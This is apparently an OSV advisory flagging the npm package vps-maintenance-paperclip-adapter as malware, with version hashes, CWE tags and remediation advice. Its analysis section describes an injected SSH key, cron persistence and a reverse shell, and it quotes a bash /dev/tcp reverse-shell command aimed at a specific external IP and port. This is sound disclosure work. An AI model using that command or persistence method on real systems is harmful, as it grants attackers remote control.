MAL-2026-6757

Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vps-maintenance-paperclip-adapter/MAL-2026-6757.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-6757

Aliases

GHSA-p3g7-2j36-j99x

Published

2026-07-04T13:43:02Z

Modified

2026-07-15T06:04:27Z

Summary

Malicious code in vps-maintenance-paperclip-adapter (npm)

Details

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Source: amazon-inspector (48d7d517534385e3776097217c197836517e4f4d84ef29598724c4398bfc875e)

On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to bash -i >& /dev/tcp/185.112.147.174/7007 0>&1. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (vps-new-manager) than the actual package name (vps-maintenance-paperclip-adapter), a cover-story consistent with adapter-ecosystem impersonation.

Source: ghsa-malware (f7e7e244beecc23d87457a855c99703ccf8676a8b507163b158b7f5fb528edf2)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source: ossf-package-analysis (d04e26ba31fb0f1dc5d0c2d1368675c80cc88313be6f8650aa1fd217c720a505)

The OpenSSF Package Analysis project identified 'vps-maintenance-paperclip-adapter' @ 0.1.4 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.

Database specific

{
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            "import_time": "2026-07-04T14:34:32.046724145Z",
            "modified_time": "2026-07-04T13:43:02Z",
            "sha256": "0de46c3e339f828f4c86612ee8bf74a29edc636511e2eaa765d8a75699849da3",
            "source": "amazon-inspector",
            "versions": [
                "0.1.2"
            ]
        },
        {
            "id": "GHSA-p3g7-2j36-j99x",
            "import_time": "2026-07-07T17:01:10.300750944Z",
            "modified_time": "2026-07-07T16:16:40Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "f7e7e244beecc23d87457a855c99703ccf8676a8b507163b158b7f5fb528edf2",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-008053",
            "import_time": "2026-07-08T15:19:04.229175869Z",
            "modified_time": "2026-07-08T14:31:51Z",
            "sha256": "299b0c28dc0663d941abc85b40416ad2c19948c6aa6be944ad3d19d75736ca05",
            "source": "amazon-inspector",
            "versions": [
                "0.1.6"
            ]
        },
        {
            "id": "IN-MAL-2026-008057",
            "import_time": "2026-07-08T15:19:04.780546542Z",
            "modified_time": "2026-07-08T14:32:30Z",
            "sha256": "48d7d517534385e3776097217c197836517e4f4d84ef29598724c4398bfc875e",
            "source": "amazon-inspector",
            "versions": [
                "0.1.3"
            ]
        },
        {
            "id": "IN-MAL-2026-008054",
            "import_time": "2026-07-08T15:19:04.341585506Z",
            "modified_time": "2026-07-08T14:32:02Z",
            "sha256": "f81cd2290a632a9aacb31608ebc60a77a4d203f99ee336d74adeffc0a4650474",
            "source": "amazon-inspector",
            "versions": [
                "0.1.5"
            ]
        },
        {
            "id": "IN-MAL-2026-008596",
            "import_time": "2026-07-08T21:27:49.229130723Z",
            "modified_time": "2026-07-08T20:33:53Z",
            "sha256": "0167ddb011a0783992398c4d04984c9ded0da43cfe3a92283597288f5b42b566",
            "source": "amazon-inspector",
            "versions": [
                "0.1.1"
            ]
        },
        {
            "id": "IN-MAL-2026-009211",
            "import_time": "2026-07-09T16:20:51.664056011Z",
            "modified_time": "2026-07-09T15:44:30Z",
            "sha256": "58656018f25d7915b31249a7523865725d8e556740eb9a3c1b472573d934a522",
            "source": "amazon-inspector",
            "versions": [
                "0.1.4"
            ]
        },
        {
            "id": "IN-MAL-2026-009212",
            "import_time": "2026-07-09T16:20:51.712959352Z",
            "modified_time": "2026-07-09T15:44:39Z",
            "sha256": "7b8e84103e80b5cc1aa909b53dd4c09479a27a0506cdd819f54f8d6239871a18",
            "source": "amazon-inspector",
            "versions": [
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            ]
        },
        {
            "import_time": "2026-07-15T05:49:40.452181808Z",
            "modified_time": "2026-07-07T08:05:36Z",
            "sha256": "d04e26ba31fb0f1dc5d0c2d1368675c80cc88313be6f8650aa1fd217c720a505",
            "source": "ossf-package-analysis",
            "versions": [
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    ]
}

References

Credits

- Amazon Inspector - FINDER
- - inspector-research@amazon.com
- OpenSSF: Package Analysis - FINDER
- - https://github.com/ossf/package-analysis
  - https://openssf.slack.com/channels/package_analysis

Affected packages

npm / vps-maintenance-paperclip-adapter

Package

Name: vps-maintenance-paperclip-adapter; View open source insights on deps.dev
Purl: pkg:npm/vps-maintenance-paperclip-adapter

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Affected versions

0.*

0.1.0

0.1.1

0.1.2

0.1.3

0.1.4

0.1.5

0.1.6

Database specific

cwes

[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]

indicators

{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "c2b1207a4b49b1d51e28e08452619755e63a1e9a8c1937233d9fdd976adde852",
            "tlsh": "3611ef35c9948f2321d840e42cb60617aaa504172255be1433ca216dc75e2db18ff39e"
        }
    ],
    "package_integrity": [
        {
            "filename": "vps-maintenance-paperclip-adapter-0.1.2.tgz",
            "hashes": {
                "sha1": "101e24fb569b4b70c9690b96b9831e675664d1d4",
                "sha512_sri": "sha512-rJeZY0RmjzPFgRjID3xLVTCLLGuYkBQ/k1RB5n/Dy74U3NYRBm4ML3n1US6sWVB2wdIZILEE9LMuvRlmwMbvpg=="
            }
        }
    ]
}

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vps-maintenance-paperclip-adapter/MAL-2026-6757.json"